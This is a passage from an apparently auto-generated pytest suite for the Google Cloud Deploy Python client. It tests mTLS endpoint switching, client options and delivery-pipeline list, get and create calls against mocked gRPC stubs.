patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT is
# "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_MTLS_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case api_endpoint is not provided and GOOGLE_API_USE_MTLS_ENDPOINT has
# unsupported value.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "Unsupported"}):
with pytest.raises(MutualTLSChannelError):
client = client_class(transport=transport_name)
# Check the case GOOGLE_API_USE_CLIENT_CERTIFICATE has unsupported value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "Unsupported"}
):
with pytest.raises(ValueError):
client = client_class(transport=transport_name)
# Check the case quota_project_id is provided
options = client_options.ClientOptions(quota_project_id="octopus")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id="octopus",
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name,use_client_cert_env",
[
(CloudDeployClient, transports.CloudDeployGrpcTransport, "grpc", "true"),
(
CloudDeployAsyncClient,
transports.CloudDeployGrpcAsyncIOTransport,
"grpc_asyncio",
"true",
),
(CloudDeployClient, transports.CloudDeployGrpcTransport, "grpc", "false"),
(
CloudDeployAsyncClient,
transports.CloudDeployGrpcAsyncIOTransport,
"grpc_asyncio",
"false",
),
],
)
@mock.patch.object(
CloudDeployClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CloudDeployClient)
)
@mock.patch.object(
CloudDeployAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CloudDeployAsyncClient),
)
@mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "auto"})
def test_cloud_deploy_client_mtls_env_auto(
client_class, transport_class, transport_name, use_client_cert_env
):
# This tests the endpoint autoswitch behavior. Endpoint is autoswitched to the default
# mtls endpoint, if GOOGLE_API_USE_CLIENT_CERTIFICATE is "true" and client cert exists.
# Check the case client_cert_source is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
options = client_options.ClientOptions(
client_cert_source=client_cert_source_callback
)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
if use_client_cert_env == "false":
expected_client_cert_source = None
expected_host = client.DEFAULT_ENDPOINT
else:
expected_client_cert_source = client_cert_source_callback
expected_host = client.DEFAULT_MTLS_ENDPOINT
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case ADC client cert is provided. Whether client cert is used depends on
# GOOGLE_API_USE_CLIENT_CERTIFICATE value.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=client_cert_source_callback,
):
if use_client_cert_env == "false":
expected_host = client.DEFAULT_ENDPOINT
expected_client_cert_source = None
else:
expected_host = client.DEFAULT_MTLS_ENDPOINT
expected_client_cert_source = client_cert_source_callback
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=expected_host,
scopes=None,
client_cert_source_for_mtls=expected_client_cert_source,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
# Check the case client_cert_source and ADC client cert are not provided.
with mock.patch.dict(
os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": use_client_cert_env}
):
with mock.patch.object(transport_class, "__init__") as patched:
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
patched.return_value = None
client = client_class(transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize("client_class", [CloudDeployClient, CloudDeployAsyncClient])
@mock.patch.object(
CloudDeployClient, "DEFAULT_ENDPOINT", modify_default_endpoint(CloudDeployClient)
)
@mock.patch.object(
CloudDeployAsyncClient,
"DEFAULT_ENDPOINT",
modify_default_endpoint(CloudDeployAsyncClient),
)
def test_cloud_deploy_client_get_mtls_endpoint_and_cert_source(client_class):
mock_client_cert_source = mock.Mock()
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "true".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source == mock_client_cert_source
# Test the case GOOGLE_API_USE_CLIENT_CERTIFICATE is "false".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "false"}):
mock_client_cert_source = mock.Mock()
mock_api_endpoint = "foo"
options = client_options.ClientOptions(
client_cert_source=mock_client_cert_source, api_endpoint=mock_api_endpoint
)
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source(
options
)
assert api_endpoint == mock_api_endpoint
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "never".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "never"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "always".
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_MTLS_ENDPOINT": "always"}):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert doesn't exist.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=False,
):
api_endpoint, cert_source = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_ENDPOINT
assert cert_source is None
# Test the case GOOGLE_API_USE_MTLS_ENDPOINT is "auto" and default cert exists.
with mock.patch.dict(os.environ, {"GOOGLE_API_USE_CLIENT_CERTIFICATE": "true"}):
with mock.patch(
"google.auth.transport.mtls.has_default_client_cert_source",
return_value=True,
):
with mock.patch(
"google.auth.transport.mtls.default_client_cert_source",
return_value=mock_client_cert_source,
):
(
api_endpoint,
cert_source,
) = client_class.get_mtls_endpoint_and_cert_source()
assert api_endpoint == client_class.DEFAULT_MTLS_ENDPOINT
assert cert_source == mock_client_cert_source
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(CloudDeployClient, transports.CloudDeployGrpcTransport, "grpc"),
(
CloudDeployAsyncClient,
transports.CloudDeployGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_cloud_deploy_client_client_options_scopes(
client_class, transport_class, transport_name
):
# Check the case scopes are provided.
options = client_options.ClientOptions(scopes=["1", "2"],)
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file=None,
host=client.DEFAULT_ENDPOINT,
scopes=["1", "2"],
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"client_class,transport_class,transport_name",
[
(CloudDeployClient, transports.CloudDeployGrpcTransport, "grpc"),
(
CloudDeployAsyncClient,
transports.CloudDeployGrpcAsyncIOTransport,
"grpc_asyncio",
),
],
)
def test_cloud_deploy_client_client_options_credentials_file(
client_class, transport_class, transport_name
):
# Check the case credentials file is provided.
options = client_options.ClientOptions(credentials_file="credentials.json")
with mock.patch.object(transport_class, "__init__") as patched:
patched.return_value = None
client = client_class(client_options=options, transport=transport_name)
patched.assert_called_once_with(
credentials=None,
credentials_file="credentials.json",
host=client.DEFAULT_ENDPOINT,
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
def test_cloud_deploy_client_client_options_from_dict():
with mock.patch(
"google.cloud.deploy_v1.services.cloud_deploy.transports.CloudDeployGrpcTransport.__init__"
) as grpc_transport:
grpc_transport.return_value = None
client = CloudDeployClient(client_options={"api_endpoint": "squid.clam.whelk"})
grpc_transport.assert_called_once_with(
credentials=None,
credentials_file=None,
host="squid.clam.whelk",
scopes=None,
client_cert_source_for_mtls=None,
quota_project_id=None,
client_info=transports.base.DEFAULT_CLIENT_INFO,
always_use_jwt_access=True,
)
@pytest.mark.parametrize(
"request_type", [cloud_deploy.ListDeliveryPipelinesRequest, dict,]
)
def test_list_delivery_pipelines(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListDeliveryPipelinesResponse(
next_page_token="next_page_token_value", unreachable=["unreachable_value"],
)
response = client.list_delivery_pipelines(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListDeliveryPipelinesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListDeliveryPipelinesPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
def test_list_delivery_pipelines_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
client.list_delivery_pipelines()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListDeliveryPipelinesRequest()
@pytest.mark.asyncio
async def test_list_delivery_pipelines_async(
transport: str = "grpc_asyncio",
request_type=cloud_deploy.ListDeliveryPipelinesRequest,
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListDeliveryPipelinesResponse(
next_page_token="next_page_token_value",
unreachable=["unreachable_value"],
)
)
response = await client.list_delivery_pipelines(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.ListDeliveryPipelinesRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, pagers.ListDeliveryPipelinesAsyncPager)
assert response.next_page_token == "next_page_token_value"
assert response.unreachable == ["unreachable_value"]
@pytest.mark.asyncio
async def test_list_delivery_pipelines_async_from_dict():
await test_list_delivery_pipelines_async(request_type=dict)
def test_list_delivery_pipelines_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListDeliveryPipelinesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
call.return_value = cloud_deploy.ListDeliveryPipelinesResponse()
client.list_delivery_pipelines(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_list_delivery_pipelines_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.ListDeliveryPipelinesRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListDeliveryPipelinesResponse()
)
await client.list_delivery_pipelines(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_list_delivery_pipelines_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListDeliveryPipelinesResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.list_delivery_pipelines(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
def test_list_delivery_pipelines_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.list_delivery_pipelines(
cloud_deploy.ListDeliveryPipelinesRequest(), parent="parent_value",
)
@pytest.mark.asyncio
async def test_list_delivery_pipelines_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.ListDeliveryPipelinesResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.ListDeliveryPipelinesResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.list_delivery_pipelines(parent="parent_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_list_delivery_pipelines_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.list_delivery_pipelines(
cloud_deploy.ListDeliveryPipelinesRequest(), parent="parent_value",
)
def test_list_delivery_pipelines_pager(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
next_page_token="abc",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[], next_page_token="def",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[cloud_deploy.DeliveryPipeline(),],
next_page_token="ghi",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
),
RuntimeError,
)
metadata = ()
metadata = tuple(metadata) + (
gapic_v1.routing_header.to_grpc_metadata((("parent", ""),)),
)
pager = client.list_delivery_pipelines(request={})
assert pager._metadata == metadata
results = [i for i in pager]
assert len(results) == 6
assert all(isinstance(i, cloud_deploy.DeliveryPipeline) for i in results)
def test_list_delivery_pipelines_pages(transport_name: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials, transport=transport_name,
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines), "__call__"
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
next_page_token="abc",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[], next_page_token="def",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[cloud_deploy.DeliveryPipeline(),],
next_page_token="ghi",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
),
RuntimeError,
)
pages = list(client.list_delivery_pipelines(request={}).pages)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.asyncio
async def test_list_delivery_pipelines_async_pager():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
next_page_token="abc",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[], next_page_token="def",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[cloud_deploy.DeliveryPipeline(),],
next_page_token="ghi",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
),
RuntimeError,
)
async_pager = await client.list_delivery_pipelines(request={},)
assert async_pager.next_page_token == "abc"
responses = []
async for response in async_pager:
responses.append(response)
assert len(responses) == 6
assert all(isinstance(i, cloud_deploy.DeliveryPipeline) for i in responses)
@pytest.mark.asyncio
async def test_list_delivery_pipelines_async_pages():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials,)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.list_delivery_pipelines),
"__call__",
new_callable=mock.AsyncMock,
) as call:
# Set the response to a series of pages.
call.side_effect = (
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
next_page_token="abc",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[], next_page_token="def",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[cloud_deploy.DeliveryPipeline(),],
next_page_token="ghi",
),
cloud_deploy.ListDeliveryPipelinesResponse(
delivery_pipelines=[
cloud_deploy.DeliveryPipeline(),
cloud_deploy.DeliveryPipeline(),
],
),
RuntimeError,
)
pages = []
async for page_ in (await client.list_delivery_pipelines(request={})).pages:
pages.append(page_)
for page_, token in zip(pages, ["abc", "def", "ghi", ""]):
assert page_.raw_page.next_page_token == token
@pytest.mark.parametrize(
"request_type", [cloud_deploy.GetDeliveryPipelineRequest, dict,]
)
def test_get_delivery_pipeline(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.DeliveryPipeline(
name="name_value",
uid="uid_value",
description="description_value",
etag="etag_value",
serial_pipeline=cloud_deploy.SerialPipeline(
stages=[cloud_deploy.Stage(target_id="target_id_value")]
),
)
response = client.get_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.DeliveryPipeline)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.etag == "etag_value"
def test_get_delivery_pipeline_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
client.get_delivery_pipeline()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetDeliveryPipelineRequest()
@pytest.mark.asyncio
async def test_get_delivery_pipeline_async(
transport: str = "grpc_asyncio",
request_type=cloud_deploy.GetDeliveryPipelineRequest,
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.DeliveryPipeline(
name="name_value",
uid="uid_value",
description="description_value",
etag="etag_value",
)
)
response = await client.get_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.GetDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, cloud_deploy.DeliveryPipeline)
assert response.name == "name_value"
assert response.uid == "uid_value"
assert response.description == "description_value"
assert response.etag == "etag_value"
@pytest.mark.asyncio
async def test_get_delivery_pipeline_async_from_dict():
await test_get_delivery_pipeline_async(request_type=dict)
def test_get_delivery_pipeline_field_headers():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetDeliveryPipelineRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
call.return_value = cloud_deploy.DeliveryPipeline()
client.get_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_delivery_pipeline_field_headers_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = cloud_deploy.GetDeliveryPipelineRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.DeliveryPipeline()
)
await client.get_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_delivery_pipeline_flattened():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.DeliveryPipeline()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.get_delivery_pipeline(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_get_delivery_pipeline_flattened_error():
client = CloudDeployClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.get_delivery_pipeline(
cloud_deploy.GetDeliveryPipelineRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_get_delivery_pipeline_flattened_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = cloud_deploy.DeliveryPipeline()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
cloud_deploy.DeliveryPipeline()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.get_delivery_pipeline(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_get_delivery_pipeline_flattened_error_async():
client = CloudDeployAsyncClient(credentials=ga_credentials.AnonymousCredentials(),)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.get_delivery_pipeline(
cloud_deploy.GetDeliveryPipelineRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [cloud_deploy.CreateDeliveryPipelineRequest, dict,]
)
def test_create_delivery_pipeline(request_type, transport: str = "grpc"):
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_delivery_pipeline_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CloudDeployClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
client.create_delivery_pipeline()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateDeliveryPipelineRequest()
@pytest.mark.asyncio
async def test_create_delivery_pipeline_async(
transport: str = "grpc_asyncio",
request_type=cloud_deploy.CreateDeliveryPipelineRequest,
):
client = CloudDeployAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_delivery_pipeline), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_delivery_pipeline(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == cloud_deploy.CreateDeliveryPipelineRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_delivery_pipeline_async_from_dict():
await test_create_delivery_pipeline_async(request_type=dict)
def test_create_delivery_pipeline_field_headers():
